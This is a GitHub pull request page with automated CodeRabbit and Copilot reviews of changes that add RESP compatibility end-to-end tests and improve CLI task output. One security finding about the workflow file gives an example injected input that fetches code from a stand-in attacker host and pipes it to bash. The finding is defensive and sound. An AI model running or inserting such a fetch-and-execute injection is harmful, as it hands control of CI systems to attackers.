Repository navigation
feat: add RESP compatibility E2E coverage and improve task output - #412
Merged
Merged
Conversation
📝 WalkthroughWalkthroughThis PR integrates RESP compatibility testing against Redis 7.0.0 into the E2E test suite and improves task execution console output formatting. A new ChangesRESP Compatibility Testing
Task Execution Output Formatting
Configuration & Infrastructure
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Pull request overview
Adds RESP compatibility coverage to the Docker-based E2E suite (including a dedicated container and topology updates), wires it into GitHub Actions, and improves eloqctl task progress/failure output to make long-running E2E flows easier to follow.
Changes:
- Add RESP compatibility E2E step/container and integrate it into the stress-test step list.
- Update CI workflow + test documentation to include the RESP compatibility step/version override.
- Improve CLI task stage labeling and per-task success/failure output formatting.
Reviewed changes
Copilot reviewed 10 out of 11 changed files in this pull request and generated 4 comments.
Show a summary per file
| File | Description |
|---|---|
tests/README.md |
Documents the updated E2E workflows (now in English) and includes RESP compatibility usage. |
tests/e2e/topology.yaml |
Adds log_service configuration to the E2E topology. |
tests/e2e/resp_compat/repro_flushall_crash.py |
Adds a repro script for a suspected crash scenario during RESP-like operations. |
tests/e2e/cmd_stress_test.sh |
Adds a resp-compat stress step and version override env var. |
tests/docker_ha/Dockerfile.resp_compat |
Introduces a dedicated RESP compatibility runner image. |
tests/docker_ha/docker-compose.yaml |
Adds the resp-compat service and adjusts container settings. |
tests/docker_env.sh |
Ensures the new RESP compatibility image is present for Docker E2E. |
src/cluster_mgr/src/cli/task/task_controller.rs |
Improves task stage labels and verbose/non-verbose progress output. |
src/cluster_mgr/src/cli/task/task_base.rs |
Improves task result formatting for command output and failures. |
.gitignore |
Adds ignore rules for additional E2E artifacts/caches. |
.github/workflows/test.yml |
Runs RESP compatibility in CI and exposes the target Redis version as an input. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| task_id.dimmed(), | ||
| cmd.dimmed(), | ||
| status, | ||
| if cmd_out.is_empty() { "" } else { &cmd_out } |
Comment on lines
+524
to
+528
| docker compose -f "${compose_file}" exec -T resp-compat bash -c \ | ||
| "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed >/tmp/standalone.log 2>&1" | ||
| docker compose -f "${compose_file}" cp resp-compat:/tmp/standalone.log "${standalone_log}" | ||
| cat "${standalone_log}" | ||
| local standalone_status=${PIPESTATUS[0]} |
Comment on lines
+547
to
+551
| docker compose -f "${compose_file}" exec -T resp-compat bash -c \ | ||
| "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed --cluster >/tmp/cluster.log 2>&1" | ||
| docker compose -f "${compose_file}" cp resp-compat:/tmp/cluster.log "${cluster_log}" | ||
| cat "${cluster_log}" | ||
| local cluster_status=${PIPESTATUS[0]} |
| git \ | ||
| && rm -rf /var/lib/apt/lists/* | ||
|
|
||
| RUN git clone --depth 1 https://github.com/tair-opensource/resp-compatibility.git /opt/resp-compatibility |
starrysky9959
changed the title
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 5
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
src/cluster_mgr/src/cli/task/task_base.rs (1)
421-421: 🛠️ Refactor suggestion | 🟠 Major | ⚡ Quick winAdd documentation for public API.
This public function lacks doc comments explaining its parameters (
writer,verbose) and behavior. As per coding guidelines, public APIs should be documented with///comments.📝 Proposed documentation
+ /// Writes task execution results to the specified writer or stdout. + /// + /// # Arguments + /// * `writer` - Optional file writer; if None, outputs to stdout/stderr + /// * `verbose` - If true, prints all task results; if false, only prints failures and non-zero status + /// + /// # Returns + /// Returns `Ok(())` on success, or an error if writing fails. pub async fn write_task_result(&self, mut writer: Option<File>, verbose: bool) -> Result<()> {🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/cluster_mgr/src/cli/task/task_base.rs` at line 421, Add Rust doc comments for the public async function write_task_result to document its behavior, parameters, and return value: describe what write_task_result(self, mut writer: Option<File>, verbose: bool) does, explain the semantics of the writer parameter (None meaning write to default destination or stdout and Some(File) meaning write to provided file), describe the verbose flag (what extra output is produced when true), and state the Result return (what errors may be returned). Place the docs as /// comments immediately above the pub async fn write_task_result declaration in task_base.rs so it appears in generated documentation and adheres to the project's public API doc guidelines.src/cluster_mgr/src/cli/task/task_controller.rs (1)
171-189: 🛠️ Refactor suggestion | 🟠 Major | ⚡ Quick winAdd documentation for public API methods.
The public methods
try_streamandrecvlack doc comments. As per coding guidelines, public APIs should be documented with///comments explaining their purpose, parameters, and return values.📝 Proposed documentation
+ /// Creates a streaming interface for consuming task results. + /// + /// Returns a stream that yields `TaskResultPair` items until a finish signal + /// is received or an error result is encountered. + /// + /// # Errors + /// Returns an error if the stream encounters an issue. #[try_stream(boxed, ok = TaskResultPair, error = anyhow::Error)] pub async fn try_stream(self) {+ /// Receives the next task result from the controller. + /// + /// Blocks until a result is available or the sender is disconnected. + /// + /// # Returns + /// Returns `Some(TaskResultPair)` if a result is available, or `None` if + /// the channel is closed or an error occurs. pub async fn recv(&self) -> Option<TaskResultPair> {🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/cluster_mgr/src/cli/task/task_controller.rs` around lines 171 - 189, Add Rust doc comments for the public API: add a /// doc comment above pub async fn try_stream(self) describing its purpose (stream incoming TaskResultPair values and stop on finish signal), explain the parameter (self, owning the controller or receiver), and describe the return (a TryStream yielding TaskResultPair or an anyhow::Error). Also locate the public recv method (the rx.recv() consumer) and add a /// comment explaining what it returns (awaitable receive of TaskResultPair, behavior on channel close) and any panics/errors. Use concise sentences and include example usage or notes about the finish signal if helpful..github/workflows/test.yml (1)
86-90:⚠️ Potential issue | 🔴 Critical | ⚡ Quick winCode injection vulnerability via template expansion.
Lines 86-90 expand user-controllable
github.event.inputs.*directly into shell variable assignments. A malicious user with workflow_dispatch permission could inject arbitrary shell commands.For example, setting
resp_compat_versionto7.0.0; curl evil.com | bashwould execute the injected command.🔒 Recommended fix using GitHub Actions environment variables
- name: Run E2E test + env: + INPUT_WORKERS: ${{ github.event.inputs.workers || '8' }} + INPUT_DURATION: ${{ github.event.inputs.duration || '20' }} + INPUT_REPEAT: ${{ github.event.inputs.repeat || '8' }} + INPUT_INFLIGHT: ${{ github.event.inputs.inflight || '4' }} + INPUT_RESP_COMPAT_VERSION: ${{ github.event.inputs.resp_compat_version || '7.0.0' }} run: | if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then - workers="${{ github.event.inputs.workers || '8' }}" - duration="${{ github.event.inputs.duration || '20' }}" - repeat="${{ github.event.inputs.repeat || '8' }}" - inflight="${{ github.event.inputs.inflight || '4' }}" - resp_compat_version="${{ github.event.inputs.resp_compat_version || '7.0.0' }}" + workers="${INPUT_WORKERS}" + duration="${INPUT_DURATION}" + repeat="${INPUT_REPEAT}" + inflight="${INPUT_INFLIGHT}" + resp_compat_version="${INPUT_RESP_COMPAT_VERSION}" else workers="8" duration="20" repeat="8" inflight="4" resp_compat_version="7.0.0" fi🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/test.yml around lines 86 - 90, The workflow currently injects untrusted github.event.inputs directly into shell assignments (workers, duration, repeat, inflight, resp_compat_version); instead, move these assignments into job/env entries (e.g. set ENV WORKERS, DURATION, REPEAT, INFLIGHT, RESP_COMPAT_VERSION from github.event.inputs with your existing fallbacks) and validate/sanitize each input with GitHub expression checks (allow only digits for workers/duration/repeat/inflight and a constrained semver pattern for resp_compat_version), falling back to the default if validation fails; then reference the sanitized env vars in your run steps so no raw user input is template-expanded into shell code.
🧹 Nitpick comments (1)
src/cluster_mgr/src/cli/task/task_controller.rs (1)
214-275: 💤 Low valueConsider preserving iterator chain instead of
for_eachwith side effects.The refactoring changes from a
forloop to.for_each(), butfor_eachis typically discouraged in Rust when the primary purpose is side effects (spawning tasks into ajoinsvector). The originalforloop was more idiomatic for this pattern.♻️ Alternative: Use traditional for loop
- splits.iter().for_each(|execution_context| { + for execution_context in splits.iter() { let tx_arc = Arc::new(&self.tx); let task_group_arc = Arc::new(task_group.clone()); let name = name.clone(); let join = tokio::task::spawn(async move { // ... task execution ... }); joins.push(join); - }); + }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/cluster_mgr/src/cli/task/task_controller.rs` around lines 214 - 275, The current code uses splits.iter().for_each(...) to spawn tasks and push JoinHandles into joins, which is non-idiomatic because for_each is meant for functional transformations rather than side effects; change this to a simple for loop (e.g., for execution_context in splits.iter() { ... }) so you can create tx_arc, task_group_arc, name clone, spawn the task and push the join into joins directly; update the block that currently references execution_context inside the closure to use the loop variable and keep the same logic for spawning via tokio::task::spawn and pushing the resulting JoinHandle into joins (preserve symbols like splits, joins, tx_arc, task_group_arc, task.execute, post_task_execute!, TaskResultPair).
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/cluster_mgr/src/cli/task/task_base.rs`:
- Around line 447-453: The formatted box always emits a "│ " line for CMD_OUTPUT
even when cmd_out is empty; update the construction of s (the formatted string
around task_id, cmd, status, cmd_out) so the CMD_OUTPUT line is only included
when cmd_out is non-empty: locate the formatting that builds s (references:
task_id, cmd, status, cmd_out) and either branch to two format variants (one
with the " │ {}\n" line and one without) or build s incrementally (push the
CMD_OUTPUT line only if !cmd_out.is_empty()) so no blank " │ " line is rendered
and the box borders remain correct.
In `@tests/docker_ha/docker-compose.yaml`:
- Around line 23-25: The compose file currently grants broad host access via
"privileged: true" to enable core dumps; remove each "privileged: true" and
instead keep "ulimits: core: -1" and add only the needed capabilities and
sysctls (e.g., add "cap_add: - SYS_PTRACE" and "cap_add: - SYS_RESOURCE" and set
"sysctls:" entries such as "fs.suid_dumpable=2" and a suitable
"kernel.core_pattern") to allow crash core collection without full privileged
escalation; update the three occurrences referenced (the blocks containing
"privileged: true" and "ulimits: core: -1" at the shown locations) accordingly.
In `@tests/docker_ha/Dockerfile.resp_compat`:
- Line 9: The Dockerfile currently clones resp-compatibility from the default
upstream ref; add a build ARG (e.g., RESP_COMPAT_REF) and use it to pin the
checkout: update the Dockerfile to declare ARG RESP_COMPAT_REF with a sensible
default, then change the RUN that clones to use that ref (for example use git
clone --depth 1 --branch "$RESP_COMPAT_REF" --single-branch
https://github.com/tair-opensource/resp-compatibility.git
/opt/resp-compatibility or clone then git -C /opt/resp-compatibility checkout
"$RESP_COMPAT_REF"), ensuring the clone step references RESP_COMPAT_REF so
builds can pass an explicit tag/commit during CI.
In `@tests/e2e/cmd_stress_test.sh`:
- Around line 523-551: The test runner exit code is overwritten by later
commands and not captured correctly: immediately after each docker compose exec
-T resp-compat ... invocation save its exit status (e.g., local
standalone_status=$? right after the exec command completes) before running
docker compose cp/cat, and do the same for the cluster run (local
cluster_status=$?). Ensure you capture the exit code from the exec command
itself (not from cat or a later pipeline) and place the assignment directly
after the corresponding docker compose exec -T resp-compat ... line so the
summary uses the actual runner exit codes.
- Around line 530-548: The loop currently doesn't fail if recovery didn't occur
and still uses the old master_host/master_port; modify the wait loop (the block
that executes Redis CLUSTER INFO via docker compose -f "${compose_file}" exec -T
stress-python) to verify recovery actually happened and, if not recovered after
the retries, exit with a non-zero status to prevent running cluster mode;
additionally, after detecting recovery, query the cluster (e.g., via the
stress-python container or redis-cli) to rediscover and refresh the current
master address/port into the master_host/master_port variables before invoking
the resp-compat runner (the docker compose exec that runs python3 ${script} with
--host/--port), so the cluster-mode test uses the up-to-date master.
---
Outside diff comments:
In @.github/workflows/test.yml:
- Around line 86-90: The workflow currently injects untrusted
github.event.inputs directly into shell assignments (workers, duration, repeat,
inflight, resp_compat_version); instead, move these assignments into job/env
entries (e.g. set ENV WORKERS, DURATION, REPEAT, INFLIGHT, RESP_COMPAT_VERSION
from github.event.inputs with your existing fallbacks) and validate/sanitize
each input with GitHub expression checks (allow only digits for
workers/duration/repeat/inflight and a constrained semver pattern for
resp_compat_version), falling back to the default if validation fails; then
reference the sanitized env vars in your run steps so no raw user input is
template-expanded into shell code.
In `@src/cluster_mgr/src/cli/task/task_base.rs`:
- Line 421: Add Rust doc comments for the public async function
write_task_result to document its behavior, parameters, and return value:
describe what write_task_result(self, mut writer: Option<File>, verbose: bool)
does, explain the semantics of the writer parameter (None meaning write to
default destination or stdout and Some(File) meaning write to provided file),
describe the verbose flag (what extra output is produced when true), and state
the Result return (what errors may be returned). Place the docs as /// comments
immediately above the pub async fn write_task_result declaration in task_base.rs
so it appears in generated documentation and adheres to the project's public API
doc guidelines.
In `@src/cluster_mgr/src/cli/task/task_controller.rs`:
- Around line 171-189: Add Rust doc comments for the public API: add a /// doc
comment above pub async fn try_stream(self) describing its purpose (stream
incoming TaskResultPair values and stop on finish signal), explain the parameter
(self, owning the controller or receiver), and describe the return (a TryStream
yielding TaskResultPair or an anyhow::Error). Also locate the public recv method
(the rx.recv() consumer) and add a /// comment explaining what it returns
(awaitable receive of TaskResultPair, behavior on channel close) and any
panics/errors. Use concise sentences and include example usage or notes about
the finish signal if helpful.
---
Nitpick comments:
In `@src/cluster_mgr/src/cli/task/task_controller.rs`:
- Around line 214-275: The current code uses splits.iter().for_each(...) to
spawn tasks and push JoinHandles into joins, which is non-idiomatic because
for_each is meant for functional transformations rather than side effects;
change this to a simple for loop (e.g., for execution_context in splits.iter() {
... }) so you can create tx_arc, task_group_arc, name clone, spawn the task and
push the join into joins directly; update the block that currently references
execution_context inside the closure to use the loop variable and keep the same
logic for spawning via tokio::task::spawn and pushing the resulting JoinHandle
into joins (preserve symbols like splits, joins, tx_arc, task_group_arc,
task.execute, post_task_execute!, TaskResultPair).
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: beb9faa3-e936-4e44-a834-8836948a11dc
📒 Files selected for processing (11)
.github/workflows/test.yml.gitignoresrc/cluster_mgr/src/cli/task/task_base.rssrc/cluster_mgr/src/cli/task/task_controller.rstests/README.mdtests/docker_env.shtests/docker_ha/Dockerfile.resp_compattests/docker_ha/docker-compose.yamltests/e2e/cmd_stress_test.shtests/e2e/resp_compat/repro_flushall_crash.pytests/e2e/topology.yaml
Comment on lines
+447
to
+453
| let s = format!( | ||
| " ┌─ {}\n │ {}\n │ {}\n │ {}\n └────\n", | ||
| task_id.dimmed(), | ||
| cmd.dimmed(), | ||
| status, | ||
| if cmd_out.is_empty() { "" } else { &cmd_out } | ||
| ); |
There was a problem hiding this comment.
Empty CMD_OUTPUT still renders a blank line.
The current implementation displays │ even when cmd_out is empty (line 452). The AI summary indicates CMD_OUTPUT should only be appended when non-empty, but this logic renders an extra blank line in the box layout.
🔧 Proposed fix to conditionally include CMD_OUTPUT line
- let s = format!(
- " ┌─ {}\n │ {}\n │ {}\n │ {}\n └────\n",
- task_id.dimmed(),
- cmd.dimmed(),
- status,
- if cmd_out.is_empty() { "" } else { &cmd_out }
- );
+ let output_line = if cmd_out.is_empty() {
+ String::new()
+ } else {
+ format!(" │ {}\n", cmd_out)
+ };
+ let s = format!(
+ " ┌─ {}\n │ {}\n │ {}\n{}\n └────\n",
+ task_id.dimmed(),
+ cmd.dimmed(),
+ status,
+ output_line.trim_end()
+ );🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/cluster_mgr/src/cli/task/task_base.rs` around lines 447 - 453, The
formatted box always emits a "│ " line for CMD_OUTPUT even when cmd_out is
empty; update the construction of s (the formatted string around task_id, cmd,
status, cmd_out) so the CMD_OUTPUT line is only included when cmd_out is
non-empty: locate the formatting that builds s (references: task_id, cmd,
status, cmd_out) and either branch to two format variants (one with the " │
{}\n" line and one without) or build s incrementally (push the CMD_OUTPUT line
only if !cmd_out.is_empty()) so no blank " │ " line is rendered and the box
borders remain correct.
Comment on lines
+23
to
+25
| privileged: true | ||
| ulimits: | ||
| core: -1 |
There was a problem hiding this comment.
Avoid privileged: true for core-dump collection.
ulimits.core: -1 is reasonable, but privileged: true is a much larger escalation than that and gives these containers near-host access in local/CI runs. If the goal is only to capture crashes, please narrow this to the specific capability/sysctl actually required instead of enabling full privileged mode.
Also applies to: 41-43, 59-61
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/docker_ha/docker-compose.yaml` around lines 23 - 25, The compose file
currently grants broad host access via "privileged: true" to enable core dumps;
remove each "privileged: true" and instead keep "ulimits: core: -1" and add only
the needed capabilities and sysctls (e.g., add "cap_add: - SYS_PTRACE" and
"cap_add: - SYS_RESOURCE" and set "sysctls:" entries such as
"fs.suid_dumpable=2" and a suitable "kernel.core_pattern") to allow crash core
collection without full privileged escalation; update the three occurrences
referenced (the blocks containing "privileged: true" and "ulimits: core: -1" at
the shown locations) accordingly.
| git \ | ||
| && rm -rf /var/lib/apt/lists/* | ||
|
|
||
| RUN git clone --depth 1 https://github.com/tair-opensource/resp-compatibility.git /opt/resp-compatibility |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# Show the exact contents around the referenced line
echo "=== File: tests/docker_ha/Dockerfile.resp_compat (with line numbers) ==="
nl -ba tests/docker_ha/Dockerfile.resp_compat | sed -n '1,120p'
echo
echo "=== Search for any other resp-compatibility cloning/pinning in docker HA tests ==="
rg -n --hidden --no-ignore -S "resp-compatibility|git clone|--depth|RESP_COMPAT_REF|--branch" tests/docker_ha
echo
echo "=== Search repository-wide for this specific Dockerfile or clone command ==="
rg -n --hidden --no-ignore -S "tair-opensource/resp-compatibility|/opt/resp-compatibility" .Repository: monographdb/eloq_waiter
Length of output: 201
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== File: tests/docker_ha/Dockerfile.resp_compat ==="
awk '{printf "%4d\t%s\n", NR, $0}' tests/docker_ha/Dockerfile.resp_compat | sed -n '1,160p'
echo
echo "=== Search for any other resp-compatibility cloning/pinning in docker HA tests ==="
rg -n -S "resp-compatibility|git clone|--depth|RESP_COMPAT_REF|--branch" tests/docker_ha
echo
echo "=== Search repository-wide for this specific clone target path ==="
rg -n -S "tair-opensource/resp-compatibility|/opt/resp-compatibility" .Repository: monographdb/eloq_waiter
Length of output: 1472
Pin resp-compatibility clone to a stable ref.
tests/docker_ha/Dockerfile.resp_compat clones tair-opensource/resp-compatibility with git clone --depth 1 from the default upstream ref, so this test image can change over time and make CI/e2e results nondeterministic. Pin the clone to an explicit tag/branch (or checkout a specific commit) via a Docker build ARG and use that ref in the clone/checkout step.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/docker_ha/Dockerfile.resp_compat` at line 9, The Dockerfile currently
clones resp-compatibility from the default upstream ref; add a build ARG (e.g.,
RESP_COMPAT_REF) and use it to pin the checkout: update the Dockerfile to
declare ARG RESP_COMPAT_REF with a sensible default, then change the RUN that
clones to use that ref (for example use git clone --depth 1 --branch
"$RESP_COMPAT_REF" --single-branch
https://github.com/tair-opensource/resp-compatibility.git
/opt/resp-compatibility or clone then git -C /opt/resp-compatibility checkout
"$RESP_COMPAT_REF"), ensuring the clone step references RESP_COMPAT_REF so
builds can pass an explicit tag/commit during CI.
Comment on lines
+523
to
+551
| echo "--- standalone mode ---" | ||
| docker compose -f "${compose_file}" exec -T resp-compat bash -c \ | ||
| "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed >/tmp/standalone.log 2>&1" | ||
| docker compose -f "${compose_file}" cp resp-compat:/tmp/standalone.log "${standalone_log}" | ||
| cat "${standalone_log}" | ||
| local standalone_status=${PIPESTATUS[0]} | ||
|
|
||
| # Wait for cluster to recover after standalone test | ||
| echo " waiting for cluster recovery..." | ||
| for _ in $(seq 1 30); do | ||
| if docker compose -f "${compose_file}" exec -T stress-python python3 -c " | ||
| import ssl; from redis import Redis | ||
| r=Redis(host='172.28.10.11',port=6379,password='${PASSWD}',socket_timeout=5,ssl=True,ssl_cert_reqs=ssl.CERT_NONE,ssl_check_hostname=False) | ||
| info=r.execute_command('CLUSTER','INFO').decode() | ||
| print('OK' if 'cluster_state:ok' in info else info.split('cluster_state:')[1].split('\\\\n')[0] if 'cluster_state:' in info else 'UNKNOWN') | ||
| r.close() | ||
| " 2>/dev/null | grep -q "OK"; then | ||
| echo " cluster recovered" | ||
| break | ||
| fi | ||
| sleep 4 | ||
| done | ||
|
|
||
| echo "--- cluster mode ---" | ||
| docker compose -f "${compose_file}" exec -T resp-compat bash -c \ | ||
| "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed --cluster >/tmp/cluster.log 2>&1" | ||
| docker compose -f "${compose_file}" cp resp-compat:/tmp/cluster.log "${cluster_log}" | ||
| cat "${cluster_log}" | ||
| local cluster_status=${PIPESTATUS[0]} |
There was a problem hiding this comment.
Capture the RESP runner exit code before log copy/cat.
Line 528 and Line 551 do not record the test runner's status. Under global set -e, a failing docker compose exec exits the script before the copy/cat path runs; if it does continue, PIPESTATUS[0] here is just the status of cat. That means the combined standalone/cluster failure summary never works as intended.
Suggested change
echo "--- standalone mode ---"
- docker compose -f "${compose_file}" exec -T resp-compat bash -c \
- "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed >/tmp/standalone.log 2>&1"
- docker compose -f "${compose_file}" cp resp-compat:/tmp/standalone.log "${standalone_log}"
- cat "${standalone_log}"
- local standalone_status=${PIPESTATUS[0]}
+ local standalone_status=0
+ set +e
+ docker compose -f "${compose_file}" exec -T resp-compat bash -c \
+ "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed >/tmp/standalone.log 2>&1"
+ standalone_status=$?
+ set -e
+ docker compose -f "${compose_file}" cp resp-compat:/tmp/standalone.log "${standalone_log}" || true
+ [ -f "${standalone_log}" ] && cat "${standalone_log}"
@@
echo "--- cluster mode ---"
- docker compose -f "${compose_file}" exec -T resp-compat bash -c \
- "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed --cluster >/tmp/cluster.log 2>&1"
- docker compose -f "${compose_file}" cp resp-compat:/tmp/cluster.log "${cluster_log}"
- cat "${cluster_log}"
- local cluster_status=${PIPESTATUS[0]}
+ local cluster_status=0
+ set +e
+ docker compose -f "${compose_file}" exec -T resp-compat bash -c \
+ "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed --cluster >/tmp/cluster.log 2>&1"
+ cluster_status=$?
+ set -e
+ docker compose -f "${compose_file}" cp resp-compat:/tmp/cluster.log "${cluster_log}" || true
+ [ -f "${cluster_log}" ] && cat "${cluster_log}"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/e2e/cmd_stress_test.sh` around lines 523 - 551, The test runner exit
code is overwritten by later commands and not captured correctly: immediately
after each docker compose exec -T resp-compat ... invocation save its exit
status (e.g., local standalone_status=$? right after the exec command completes)
before running docker compose cp/cat, and do the same for the cluster run (local
cluster_status=$?). Ensure you capture the exit code from the exec command
itself (not from cat or a later pipeline) and place the assignment directly
after the corresponding docker compose exec -T resp-compat ... line so the
summary uses the actual runner exit codes.
Comment on lines
+530
to
+548
| # Wait for cluster to recover after standalone test | ||
| echo " waiting for cluster recovery..." | ||
| for _ in $(seq 1 30); do | ||
| if docker compose -f "${compose_file}" exec -T stress-python python3 -c " | ||
| import ssl; from redis import Redis | ||
| r=Redis(host='172.28.10.11',port=6379,password='${PASSWD}',socket_timeout=5,ssl=True,ssl_cert_reqs=ssl.CERT_NONE,ssl_check_hostname=False) | ||
| info=r.execute_command('CLUSTER','INFO').decode() | ||
| print('OK' if 'cluster_state:ok' in info else info.split('cluster_state:')[1].split('\\\\n')[0] if 'cluster_state:' in info else 'UNKNOWN') | ||
| r.close() | ||
| " 2>/dev/null | grep -q "OK"; then | ||
| echo " cluster recovered" | ||
| break | ||
| fi | ||
| sleep 4 | ||
| done | ||
|
|
||
| echo "--- cluster mode ---" | ||
| docker compose -f "${compose_file}" exec -T resp-compat bash -c \ | ||
| "python3 -u ${script} --host ${master_host} --port ${master_port} --password ${PASSWD} --testfile ${cts} --specific-version ${RESP_COMPAT_VERSION} --show-failed --cluster >/tmp/cluster.log 2>&1" |
There was a problem hiding this comment.
Gate cluster-mode execution on an actual recovery and refresh the master.
This loop never checks whether recovery actually happened, so it can fall through and still run cluster mode. It also reuses the pre-standalone master_host/master_port, which becomes stale if the standalone run triggers failover. That makes the second phase flaky and can point the failure at the wrong node.
Suggested change
# Wait for cluster to recover after standalone test
echo " waiting for cluster recovery..."
+ local recovered=0
for _ in $(seq 1 30); do
if docker compose -f "${compose_file}" exec -T stress-python python3 -c "
import ssl; from redis import Redis
r=Redis(host='172.28.10.11',port=6379,password='${PASSWD}',socket_timeout=5,ssl=True,ssl_cert_reqs=ssl.CERT_NONE,ssl_check_hostname=False)
info=r.execute_command('CLUSTER','INFO').decode()
print('OK' if 'cluster_state:ok' in info else info.split('cluster_state:')[1].split('\\\\n')[0] if 'cluster_state:' in info else 'UNKNOWN')
r.close()
" 2>/dev/null | grep -q "OK"; then
echo " cluster recovered"
+ recovered=1
break
fi
sleep 4
done
+
+ if [ "${recovered}" -ne 1 ]; then
+ echo "FAIL: cluster did not recover after standalone resp-compat run"
+ return 1
+ fi
+
+ discover_master || return 1
+ master_host="${MASTER%:*}"
+ master_port="${MASTER##*:}"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/e2e/cmd_stress_test.sh` around lines 530 - 548, The loop currently
doesn't fail if recovery didn't occur and still uses the old
master_host/master_port; modify the wait loop (the block that executes Redis
CLUSTER INFO via docker compose -f "${compose_file}" exec -T stress-python) to
verify recovery actually happened and, if not recovered after the retries, exit
with a non-zero status to prevent running cluster mode; additionally, after
detecting recovery, query the cluster (e.g., via the stress-python container or
redis-cli) to rediscover and refresh the current master address/port into the
master_host/master_port variables before invoking the resp-compat runner (the
docker compose exec that runs python3 ${script} with --host/--port), so the
cluster-mode test uses the up-to-date master.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Testing
bash -n tests/docker_env.sh tests/e2e/cmd_stress_test.sh tests/e2e/devctl.shdocker compose -f tests/docker_ha/docker-compose.yaml configpre-pushverification suiteNotes
Summary by CodeRabbit
Release Notes
New Features
Improvements
Documentation
Chores